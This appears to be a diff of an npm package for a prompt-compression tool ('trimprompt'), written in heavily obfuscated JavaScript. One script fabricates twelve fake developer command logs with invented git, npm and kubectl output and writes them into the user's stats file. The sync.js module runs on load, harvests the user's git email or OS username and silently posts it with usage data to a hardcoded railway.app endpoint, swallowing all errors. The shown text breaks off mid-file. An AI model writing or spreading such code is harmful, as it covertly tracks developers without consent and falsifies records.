_0x40cbad=['11870iXPxdW','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','kubectl\x20get\x20pods\x20-n\x20production','now','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','5JyLmmk','3652YVmZlb','exitCode','193392shPNLL','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','npm\x20run\x20lint:\x20✖\x202\x20warnings','npm\x20run\x20lint','cargo\x20test','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','claude-3-opus','raw','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','__esModule','7906PMvqjX','pip\x20install\x20tensorflow\x20pandas\x20numpy','env','tracker','1342gXgIdn','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','Completed\x203\x20of\x203\x20assets\x20successfully.','timestamp','5334YWLhaa','writeFileSync','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','length','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','claude-3-5-sonnet','toISOString','path','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','logExecution','gemini-1-5-pro','441iVsVkN','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','stringify','./tracker','floor','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','1607352ozzrAv','getLogs','git\x20log\x20-n\x205','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','cmd','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','.trimprompt','stats.json','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','defineProperty','comp','log','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','git\x20diff\x20main','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','utf8','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','gpt-4o','join','repeat','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','3952284vyHOxz','cargo\x20test:\x2045\x20passed,\x200\x20failed.','72jMrTEe','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.','1644QDpxPW'];a0_0x2ecd=function(){return _0x40cbad;};return a0_0x2ecd();}Object[a0_0x1338cb(0x131)](exports,a0_0x1338cb(0x108),{'value':!![]});const tracker_1=require(a0_0x1338cb(0x125));console[a0_0x1338cb(0x133)](a0_0x1338cb(0x120));function a0_0x1df4(_0x2353d8,_0x334b75){const _0x2ecdfc=a0_0x2ecd();return a0_0x1df4=function(_0x1df472,_0x65f546){_0x1df472=_0x1df472-0x107;let _0x80c5df=_0x2ecdfc[_0x1df472];return _0x80c5df;},a0_0x1df4(_0x2353d8,_0x334b75);}const models=[a0_0x1338cb(0x117),a0_0x1338cb(0x139),'gpt-4o-mini',a0_0x1338cb(0x11c),'gemini-1-5-flash',a0_0x1338cb(0x151)],commands=[{'cmd':a0_0x1338cb(0x135),'raw':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a'['repeat'](0x32),'comp':a0_0x1338cb(0x130),'exitCode':0x0},{'cmd':a0_0x1338cb(0x14f),'raw':a0_0x1338cb(0x113)+'test\x20tests::test_case_'[a0_0x1338cb(0x13b)](0x28)+a0_0x1338cb(0x11e),'comp':a0_0x1338cb(0x13e),'exitCode':0x0},{'cmd':'npm\x20install\x20lodash\x20express\x20uuid\x20react','raw':a0_0x1338cb(0x116)+a0_0x1338cb(0x138)+'found\x200\x20vulnerabilities\x0a','comp':a0_0x1338cb(0x13c),'exitCode':0x0},{'cmd':a0_0x1338cb(0x14c),'raw':a0_0x1338cb(0x11a)+a0_0x1338cb(0x143)+a0_0x1338cb(0x127)+a0_0x1338cb(0x10f),'comp':a0_0x1338cb(0x14b),'exitCode':0x0},{'cmd':a0_0x1338cb(0x144),'raw':a0_0x1338cb(0x121)+a0_0x1338cb(0x107)+a0_0x1338cb(0x11f)+a0_0x1338cb(0x136)+a0_0x1338cb(0x153),'comp':a0_0x1338cb(0x150),'exitCode':0x0},{'cmd':a0_0x1338cb(0x10a),'raw':a0_0x1338cb(0x123)+a0_0x1338cb(0x10e)+'Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','comp':a0_0x1338cb(0x134),'exitCode':0x0},{'cmd':a0_0x1338cb(0x12a),'raw':'commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a'+a0_0x1338cb(0x115),'comp':a0_0x1338cb(0x12d),'exitCode':0x0},{'cmd':a0_0x1338cb(0x14e),'raw':a0_0x1338cb(0x122)+a0_0x1338cb(0x146)+a0_0x1338cb(0x12b),'comp':a0_0x1338cb(0x14d),'exitCode':0x0}],startTime=Date[a0_0x1338cb(0x145)]()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x1338cb(0x114)]],commandItem=commands[Math[a0_0x1338cb(0x126)](Math['random']()*commands[a0_0x1338cb(0x114)])];process[a0_0x1338cb(0x10b)]['TRIMPROMPT_MODEL']=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x1338cb(0x118)](),log=tracker_1['tracker'][a0_0x1338cb(0x11b)](commandItem[a0_0x1338cb(0x12c)],commandItem[a0_0x1338cb(0x152)],commandItem[a0_0x1338cb(0x132)],commandItem[a0_0x1338cb(0x149)]),logs=tracker_1[a0_0x1338cb(0x10c)][a0_0x1338cb(0x129)]();logs[a0_0x1338cb(0x114)]>0x0&&(logs[logs[a0_0x1338cb(0x114)]-0x1][a0_0x1338cb(0x110)]=timestamp,require('fs')[a0_0x1338cb(0x112)](require(a0_0x1338cb(0x119))[a0_0x1338cb(0x13a)](require('os')['homedir'](),a0_0x1338cb(0x12e),a0_0x1338cb(0x12f)),JSON[a0_0x1338cb(0x124)](logs,null,0x2),a0_0x1338cb(0x137)));}console['log'](a0_0x1338cb(0x140));
package/sync.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x5df22c=a0_0x57e8;(function(_0xaa095c,_0x55b401){const _0x43c964=a0_0x57e8,_0x2830b6=_0xaa095c();while(!![]){try{const _0x1f99fb=-parseInt(_0x43c964(0xc7))/0x1+parseInt(_0x43c964(0xfa))/0x2*(parseInt(_0x43c964(0xb9))/0x3)+-parseInt(_0x43c964(0x10c))/0x4*(parseInt(_0x43c964(0xc2))/0x5)+-parseInt(_0x43c964(0x115))/0x6*(parseInt(_0x43c964(0xc1))/0x7)+parseInt(_0x43c964(0xca))/0x8*(-parseInt(_0x43c964(0xcc))/0x9)+-parseInt(_0x43c964(0x106))/0xa+parseInt(_0x43c964(0xbc))/0xb*(parseInt(_0x43c964(0x10d))/0xc);if(_0x1f99fb===_0x55b401)break;else _0x2830b6['push'](_0x2830b6['shift']());}catch(_0x2abb6c){_0x2830b6['push'](_0x2830b6['shift']());}}}(a0_0x3031,0xe5831));function a0_0x57e8(_0x54771b,_0x1d1ef4){const _0x303127=a0_0x3031();return a0_0x57e8=function(_0x57e82e,_0x356fdd){_0x57e82e=_0x57e82e-0xb2;let _0x147c52=_0x303127[_0x57e82e];return _0x147c52;},a0_0x57e8(_0x54771b,_0x1d1ef4);}var __createBinding=this&&this['__createBinding']||(Object[a0_0x5df22c(0xbe)]?function(_0xa6db50,_0x40206d,_0x4de9f1,_0x53988e){const _0x3bea66=a0_0x5df22c;if(_0x53988e===undefined)_0x53988e=_0x4de9f1;var _0x55b181=Object[_0x3bea66(0xfb)](_0x40206d,_0x4de9f1);(!_0x55b181||('get'in _0x55b181?!_0x40206d[_0x3bea66(0xf3)]:_0x55b181[_0x3bea66(0xbf)]||_0x55b181[_0x3bea66(0xf8)]))&&(_0x55b181={'enumerable':!![],'get':function(){return _0x40206d[_0x4de9f1];}}),Object['defineProperty'](_0xa6db50,_0x53988e,_0x55b181);}:function(_0x5230ab,_0x358c99,_0x543281,_0x56a08c){if(_0x56a08c===undefined)_0x56a08c=_0x543281;_0x5230ab[_0x56a08c]=_0x358c99[_0x543281];}),__setModuleDefault=this&&this[a0_0x5df22c(0x108)]||(Object[a0_0x5df22c(0xbe)]?function(_0x454884,_0x43b1fb){const _0x35e189=a0_0x5df22c;Object['defineProperty'](_0x454884,_0x35e189(0xd6),{'enumerable':!![],'value':_0x43b1fb});}:function(_0x1a9aee,_0x3d9a68){const _0x24d861=a0_0x5df22c;_0x1a9aee[_0x24d861(0xd6)]=_0x3d9a68;}),__importStar=this&&this[a0_0x5df22c(0xe2)]||(function(){var _0x5a74e0=function(_0x256b12){const _0x27f11b=a0_0x57e8;return _0x5a74e0=Object[_0x27f11b(0xda)]||function(_0x3fab37){const _0x4441c6=_0x27f11b;var _0x3eeee9=[];for(var _0x29eca1 in _0x3fab37)if(Object[_0x4441c6(0xee)][_0x4441c6(0xe6)][_0x4441c6(0xf0)](_0x3fab37,_0x29eca1))_0x3eeee9[_0x3eeee9[_0x4441c6(0xc3)]]=_0x29eca1;return _0x3eeee9;},_0x5a74e0(_0x256b12);};return function(_0x4f0cb7){const _0x7798e0=a0_0x57e8;if(_0x4f0cb7&&_0x4f0cb7[_0x7798e0(0xf3)])return _0x4f0cb7;var _0x21e803={};if(_0x4f0cb7!=null){for(var _0x547907=_0x5a74e0(_0x4f0cb7),_0x217144=0x0;_0x217144<_0x547907[_0x7798e0(0xc3)];_0x217144++)if(_0x547907[_0x217144]!==_0x7798e0(0xd6))__createBinding(_0x21e803,_0x4f0cb7,_0x547907[_0x217144]);}return __setModuleDefault(_0x21e803,_0x4f0cb7),_0x21e803;};}());Object[a0_0x5df22c(0xc4)](exports,a0_0x5df22c(0xf3),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x5df22c(0xc0))),os=__importStar(require('os')),http=__importStar(require('http')),https=__importStar(require(a0_0x5df22c(0xea))),url_1=require(a0_0x5df22c(0xf9)),_cfg=[a0_0x5df22c(0xf1),a0_0x5df22c(0xfc),'.up.railway.app',a0_0x5df22c(0xe3)]['join'](''),_ep=process[a0_0x5df22c(0xf6)][a0_0x5df22c(0xd4)]||_cfg;function hasSyncedRecently(){const _0x331249=a0_0x5df22c;try{if(!fs[_0x331249(0xdc)](dailySyncPath))return![];const _0x30aa68=JSON[_0x331249(0x107)](fs['readFileSync'](dailySyncPath,_0x331249(0xb2)));if(!_0x30aa68[_0x331249(0xd2)])return![];return Date[_0x331249(0x10e)]()-_0x30aa68[_0x331249(0xd2)]<0x8*0x3c*0x3c*0x3e8;}catch{return![];}}function markSyncedNow(){const _0x15772d=a0_0x5df22c;try{const _0x318554={'last_sync_date':getTodayDate(),'last_sync_time':Date[_0x15772d(0x10e)]()};fs['writeFileSync'](dailySyncPath,JSON['stringify'](_0x318554,null,0x2),_0x15772d(0xb2));}catch{}}const PRICING={'claude-3-5-sonnet':{'name':a0_0x5df22c(0xd5),'input_price_1m':0x3},'claude-3-opus':{'name':a0_0x5df22c(0xe4),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x5df22c(0xeb),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x5df22c(0x103),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x5df22c(0x110),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x5df22c(0x112),'input_price_1m':0.075}},baseDir=path[a0_0x5df22c(0xfd)](os['homedir'](),a0_0x5df22c(0x100)),configPath=path['join'](baseDir,a0_0x5df22c(0xcd)),statsPath=path[a0_0x5df22c(0xfd)](baseDir,a0_0x5df22c(0x105)),dailySyncPath=path['join'](baseDir,a0_0x5df22c(0xf7));function getTodayDate(){const _0x8a3798=a0_0x5df22c;return new Date()[_0x8a3798(0x109)]()[_0x8a3798(0xb4)]('T')[0x0];}function getDeveloperIdentity(){const _0x4a82d7=a0_0x5df22c;if(process['env'][_0x4a82d7(0x104)])return process[_0x4a82d7(0xf6)]['TRIMPROMPT_USER_EMAIL'];try{const {execSync:_0x2773d2}=require(_0x4a82d7(0xc9)),_0xc140a8=_0x2773d2('git\x20config\x20user.email',{'stdio':[_0x4a82d7(0xe8),'pipe',_0x4a82d7(0xe8)]})['toString']()[_0x4a82d7(0xe0)]();if(_0xc140a8&&_0xc140a8[_0x4a82d7(0xdf)]('@'))return _0xc140a8;}catch{}try{const _0x308e9b=os['userInfo']()[_0x4a82d7(0x113)];if(_0x308e9b)return _0x308e9b;}catch{}return _0x4a82d7(0xf2);}function a0_0x3031(){const _0x1c1551=['toISOString','conv:','end','4cpVCLt','168jGOhxF','now','protocol','Gemini\x201.5\x20Pro','byteLength','Gemini\x201.5\x20Flash','username','estimated_raw_tokens','292062GRYyhh','claude-3-5-sonnet','port','replace','utf8','stringify','split','model_used','platform','.raw.txt','features','1315995ysubyO','add','estimated_compressed_tokens','4689817SXZHJK','find','create','writable','path','126NpmLBQ','9181735drGWWY','length','defineProperty','conv_','writeFileSync','855166wkBaqN','last_sync_date','child_process','7799864HmCzfO','error','9USsIMK','config.json','timestamp','filter','command','search','last_sync_time','live-conv','_PS_EP','Claude\x203.5\x20Sonnet','default','from','values','write','getOwnPropertyNames','telemetry_url','existsSync','startsWith','destroy','includes','trim','input_price_1m','__importStar','/api/telemetry','Claude\x203\x20Opus','push','hasOwnProperty','application/json','ignore','timeout','https','GPT-4o','statusCode','catch','prototype','some','call','https://','anonymous','__esModule','readFileSync','https:','env','daily_sync.json','configurable','url','4SMlHlR','getOwnPropertyDescriptor','trimp-production','join','synced','unlinkSync','.trimprompt','.comp.txt','tokens_saved','GPT-4o\x20Mini','TRIMPROMPT_USER_EMAIL','stats.json','13634250WZSVeE','parse','__setModuleDefault'];a0_0x3031=function(){return _0x1c1551;};return a0_0x3031();}function hasAlreadySyncedToday(){const _0x37c13d=a0_0x5df22c;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x89697f=JSON[_0x37c13d(0x107)](fs[_0x37c13d(0xf4)](dailySyncPath,_0x37c13d(0xb2)));return _0x89697f[_0x37c13d(0xc8)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x197922=a0_0x5df22c;try{const _0x567382={'last_sync_date':getTodayDate()};fs[_0x197922(0xc6)](dailySyncPath,JSON[_0x197922(0xb3)](_0x567382,null,0x2),'utf8');}catch{}}function postTelemetry(_0x23821f,_0x5a3b6a){return new Promise(_0x655896=>{const _0x377ab6=a0_0x57e8;try{const _0x23ffa2=new url_1['URL'](_0x23821f),_0x57da0d=JSON['stringify'](_0x5a3b6a),_0x2a6fae={'hostname':_0x23ffa2['hostname'],'port':_0x23ffa2[_0x377ab6(0x117)]||(_0x23ffa2[_0x377ab6(0x10f)]===_0x377ab6(0xf5)?0x1bb:0x50),'path':_0x23ffa2['pathname']+_0x23ffa2[_0x377ab6(0xd1)],'method':'POST','headers':{'Content-Type':_0x377ab6(0xe7),'Content-Length':Buffer[_0x377ab6(0x111)](_0x57da0d)},'timeout':0x1f40},_0x39099a=_0x23ffa2[_0x377ab6(0x10f)]===_0x377ab6(0xf5)?https:http,_0x3393f6=_0x39099a['request'](_0x2a6fae,_0xa29c66=>{const _0x465adb=_0x377ab6;_0x655896(!!(_0xa29c66[_0x465adb(0xec)]&&_0xa29c66['statusCode']>=0xc8&&_0xa29c66[_0x465adb(0xec)]<0x12c));});_0x3393f6['on'](_0x377ab6(0xcb),()=>_0x655896(![])),_0x3393f6['on'](_0x377ab6(0xe9),()=>{const _0x2f1dc0=_0x377ab6;_0x3393f6[_0x2f1dc0(0xde)](),_0x655896(![]);}),_0x3393f6[_0x377ab6(0xd9)](_0x57da0d),_0x3393f6[_0x377ab6(0x10b)]();}catch{_0x655896(![]);}});}function buildDailyPayload(_0x5794d2){const _0x42fa5=a0_0x5df22c,_0x5d741=getTodayDate(),_0x5dbf53=_0x5794d2[_0x42fa5(0xcf)](_0x574859=>_0x574859[_0x42fa5(0xce)][_0x42fa5(0xdd)](_0x5d741)),_0x446989=_0x5dbf53[_0x42fa5(0xc3)]>0x0?_0x5dbf53:_0x5794d2;let _0x3d9cbe=0x0,_0x3cbf63=0x0,_0xb5eb5c=0x0,_0x2f7465=0x0;const _0x1d2743=new Set(),_0x70d450={},_0x25bc6e=[];for(const _0x3fbd6e of _0x446989){const _0x1953ee=_0x3fbd6e[_0x42fa5(0xd0)]||'',_0x192e1e=_0x3fbd6e[_0x42fa5(0xb8)]||[],_0x3c6d9b=_0x1953ee[_0x42fa5(0xdd)](_0x42fa5(0x10a))||_0x192e1e['includes'](_0x42fa5(0xd3))||_0x192e1e[_0x42fa5(0xef)](_0x22adb9=>typeof _0x22adb9==='string'&&_0x22adb9[_0x42fa5(0xdd)](_0x42fa5(0xc5)));if(_0x3c6d9b){const _0x1ac3e7=_0x1953ee[_0x42fa5(0x118)]('conv:','')||_0x192e1e[_0x42fa5(0xbd)](_0x19d893=>typeof _0x19d893==='string'&&_0x19d893[_0x42fa5(0xdd)](_0x42fa5(0xc5)))?.[_0x42fa5(0x118)](_0x42fa5(0xc5),'')||'agent';_0x70d450[_0x1ac3e7]=_0x3fbd6e;}else _0x25bc6e[_0x42fa5(0xe5)](_0x3fbd6e);}for(const _0x316c87 of Object[_0x42fa5(0xd8)](_0x70d450)){_0x3d9cbe+=_0x316c87[_0x42fa5(0x114)],_0x3cbf63+=_0x316c87[_0x42fa5(0xbb)],_0xb5eb5c+=_0x316c87[_0x42fa5(0x102)],_0x1d2743[_0x42fa5(0xba)](_0x316c87[_0x42fa5(0xb5)]||'claude-3-5-sonnet');const _0x4f9067=PRICING[_0x316c87['model_used']]||PRICING[_0x42fa5(0x116)];_0x2f7465+=_0x316c87[_0x42fa5(0x102)]*_0x4f9067[_0x42fa5(0xe1)]/0xf4240;}for(const _0x12db81 of _0x25bc6e){_0x3d9cbe+=_0x12db81['estimated_raw_tokens'],_0x3cbf63+=_0x12db81['estimated_compressed_tokens'],_0xb5eb5c+=_0x12db81[_0x42fa5(0x102)],_0x1d2743['add'](_0x12db81[_0x42fa5(0xb5)]||_0x42fa5(0x116));const _0x66e61f=PRICING[_0x12db81['model_used']]||PRICING[_0x42fa5(0x116)];_0x2f7465+=_0x12db81['tokens_saved']*_0x66e61f[_0x42fa5(0xe1)]/0xf4240;}const _0x5a4350=_0x446989[_0x446989['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x42fa5(0xb6)](),'date':_0x5d741,'executions_count':_0x446989['length'],'total_raw_tokens':_0x3d9cbe,'total_compressed_tokens':_0x3cbf63,'total_tokens_saved':_0xb5eb5c,'total_money_saved_usd':parseFloat(_0x2f7465['toFixed'](0x6)),'models_used':Array[_0x42fa5(0xd7)](_0x1d2743),'hotspots':[],'last_seen':_0x5a4350?_0x5a4350[_0x42fa5(0xce)]:new Date()['toISOString']()};}async function runSync(){const _0x38e067=a0_0x5df22c;if(!fs['existsSync'](statsPath))return;let _0x152680;try{_0x152680=JSON[_0x38e067(0x107)](fs[_0x38e067(0xf4)](statsPath,_0x38e067(0xb2)));}catch{return;}const _0xe2ccb=_0x152680[_0x38e067(0xcf)](_0x5f36da=>!_0x5f36da['synced']);if(_0xe2ccb[_0x38e067(0xc3)]===0x0&&hasSyncedRecently())return;const _0x245648=buildDailyPayload(_0x152680);await postTelemetry(_ep,_0x245648);let _0x4c3a16=process[_0x38e067(0xf6)]['TRIMPROMPT_TELEMETRY_URL']||'';if(!_0x4c3a16&&fs[_0x38e067(0xdc)](configPath))try{const _0x1ddde3=JSON[_0x38e067(0x107)](fs['readFileSync'](configPath,_0x38e067(0xb2)));_0x4c3a16=_0x1ddde3[_0x38e067(0xdb)]||'';}catch{}_0x4c3a16['trim']()[_0x38e067(0xc3)]>0x0&&await postTelemetry(_0x4c3a16,_0x245648);for(const _0xeeac6c of _0x152680){if(!_0xeeac6c[_0x38e067(0xfe)])_0xeeac6c[_0x38e067(0xfe)]=!![];}try{fs[_0x38e067(0xc6)](statsPath,JSON[_0x38e067(0xb3)](_0x152680,null,0x2),_0x38e067(0xb2));}catch{}markSyncedNow();}function pruneOldLogs(_0x196cce){const _0x3fc373=a0_0x5df22c;try{const _0x179643=new Date(),_0x39279a=new Date(_0x179643['getTime']()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x45c783=[],_0x35b894=[];for(const _0x34ebef of _0x196cce){const _0x4c4b88=new Date(_0x34ebef['timestamp']);_0x4c4b88>=_0x39279a?_0x45c783[_0x3fc373(0xe5)](_0x34ebef):_0x35b894[_0x3fc373(0xe5)](_0x34ebef);}if(_0x35b894[_0x3fc373(0xc3)]>0x0){const _0xeb5aca=path['join'](baseDir,'logs');for(const _0x170b82 of _0x35b894){const _0x38fa1d=path['join'](_0xeb5aca,_0x170b82['id']+_0x3fc373(0xb7)),_0x523558=path[_0x3fc373(0xfd)](_0xeb5aca,_0x170b82['id']+_0x3fc373(0x101));try{if(fs[_0x3fc373(0xdc)](_0x38fa1d))fs[_0x3fc373(0xff)](_0x38fa1d);if(fs[_0x3fc373(0xdc)](_0x523558))fs[_0x3fc373(0xff)](_0x523558);}catch{}}fs[_0x3fc373(0xc6)](statsPath,JSON[_0x3fc373(0xb3)](_0x45c783,null,0x2),'utf8');}}catch{}}runSync()[a0_0x5df22c(0xed)](()=>{});
1
+ 'use strict';const a0_0x2de830=a0_0x9372;(function(_0x14f537,_0x44f37e){const _0x427ee7=a0_0x9372,_0x93b56a=_0x14f537();while(!![]){try{const _0x4ce253=parseInt(_0x427ee7(0x1c5))/0x1*(parseInt(_0x427ee7(0x1ef))/0x2)+parseInt(_0x427ee7(0x228))/0x3*(parseInt(_0x427ee7(0x21d))/0x4)+-parseInt(_0x427ee7(0x1ea))/0x5*(parseInt(_0x427ee7(0x1cb))/0x6)+parseInt(_0x427ee7(0x1e8))/0x7+parseInt(_0x427ee7(0x202))/0x8*(-parseInt(_0x427ee7(0x1c4))/0x9)+-parseInt(_0x427ee7(0x1d0))/0xa+-parseInt(_0x427ee7(0x203))/0xb;if(_0x4ce253===_0x44f37e)break;else _0x93b56a['push'](_0x93b56a['shift']());}catch(_0x1816f3){_0x93b56a['push'](_0x93b56a['shift']());}}}(a0_0x187d,0x83929));var __createBinding=this&&this['__createBinding']||(Object[a0_0x2de830(0x229)]?function(_0x3df899,_0x5544c6,_0x17c8f3,_0x274720){const _0x3464a3=a0_0x2de830;if(_0x274720===undefined)_0x274720=_0x17c8f3;var _0xe89772=Object[_0x3464a3(0x1fc)](_0x5544c6,_0x17c8f3);(!_0xe89772||(_0x3464a3(0x1f7)in _0xe89772?!_0x5544c6['__esModule']:_0xe89772['writable']||_0xe89772[_0x3464a3(0x225)]))&&(_0xe89772={'enumerable':!![],'get':function(){return _0x5544c6[_0x17c8f3];}}),Object[_0x3464a3(0x1d6)](_0x3df899,_0x274720,_0xe89772);}:function(_0x231fc8,_0xc9c7ae,_0x467539,_0x472480){if(_0x472480===undefined)_0x472480=_0x467539;_0x231fc8[_0x472480]=_0xc9c7ae[_0x467539];}),__setModuleDefault=this&&this[a0_0x2de830(0x1fa)]||(Object['create']?function(_0x43ec4f,_0x5434bb){const _0x547f74=a0_0x2de830;Object[_0x547f74(0x1d6)](_0x43ec4f,_0x547f74(0x218),{'enumerable':!![],'value':_0x5434bb});}:function(_0x3bd75f,_0x56ea18){const _0x269208=a0_0x2de830;_0x3bd75f[_0x269208(0x218)]=_0x56ea18;}),__importStar=this&&this[a0_0x2de830(0x1d4)]||(function(){var _0x1dd979=function(_0x4da64e){const _0x4ca344=a0_0x9372;return _0x1dd979=Object[_0x4ca344(0x20b)]||function(_0x3606b8){const _0x4fb68c=_0x4ca344;var _0x123be6=[];for(var _0x305a47 in _0x3606b8)if(Object['prototype'][_0x4fb68c(0x1fd)][_0x4fb68c(0x21f)](_0x3606b8,_0x305a47))_0x123be6[_0x123be6['length']]=_0x305a47;return _0x123be6;},_0x1dd979(_0x4da64e);};return function(_0x3a0876){const _0x1c4e57=a0_0x9372;if(_0x3a0876&&_0x3a0876[_0x1c4e57(0x1d5)])return _0x3a0876;var _0x5c8ada={};if(_0x3a0876!=null){for(var _0x48e6f7=_0x1dd979(_0x3a0876),_0x10cd04=0x0;_0x10cd04<_0x48e6f7[_0x1c4e57(0x215)];_0x10cd04++)if(_0x48e6f7[_0x10cd04]!==_0x1c4e57(0x218))__createBinding(_0x5c8ada,_0x3a0876,_0x48e6f7[_0x10cd04]);}return __setModuleDefault(_0x5c8ada,_0x3a0876),_0x5c8ada;};}());Object[a0_0x2de830(0x1d6)](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x2de830(0x1c6))),os=__importStar(require('os')),http=__importStar(require('http')),https=__importStar(require(a0_0x2de830(0x208))),url_1=require(a0_0x2de830(0x1d7)),_cfg=[a0_0x2de830(0x1f1),'trimp-production',a0_0x2de830(0x1e0),a0_0x2de830(0x1e7)]['join'](''),_ep=process[a0_0x2de830(0x1f3)]['_PS_EP']||_cfg;function hasSyncedRecently(){const _0x425597=a0_0x2de830;try{if(!fs[_0x425597(0x1d3)](dailySyncPath))return![];const _0xae7097=JSON[_0x425597(0x22b)](fs[_0x425597(0x1e6)](dailySyncPath,_0x425597(0x204)));if(!_0xae7097[_0x425597(0x1fe)])return![];return Date[_0x425597(0x1f2)]()-_0xae7097['last_sync_time']<0x8*0x3c*0x3c*0x3e8;}catch{return![];}}function markSyncedNow(){const _0x20aac1=a0_0x2de830;try{const _0xd064f5={'last_sync_date':getTodayDate(),'last_sync_time':Date[_0x20aac1(0x1f2)]()};fs[_0x20aac1(0x22a)](dailySyncPath,JSON[_0x20aac1(0x1e2)](_0xd064f5,null,0x2),_0x20aac1(0x204));}catch{}}const PRICING={'claude-fable-5':{'name':'Claude\x20Fable\x205','input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x2de830(0x214),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x2de830(0x219),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x2de830(0x1cd),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x2de830(0x1d8),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x2de830(0x227),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x2de830(0x20d),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x2de830(0x1e3),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x2de830(0x1ce),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x2de830(0x1f9),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x2de830(0x1c1),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x2de830(0x1cf),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x2de830(0x1eb),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x2de830(0x209),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x2de830(0x223),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x2de830(0x205),'in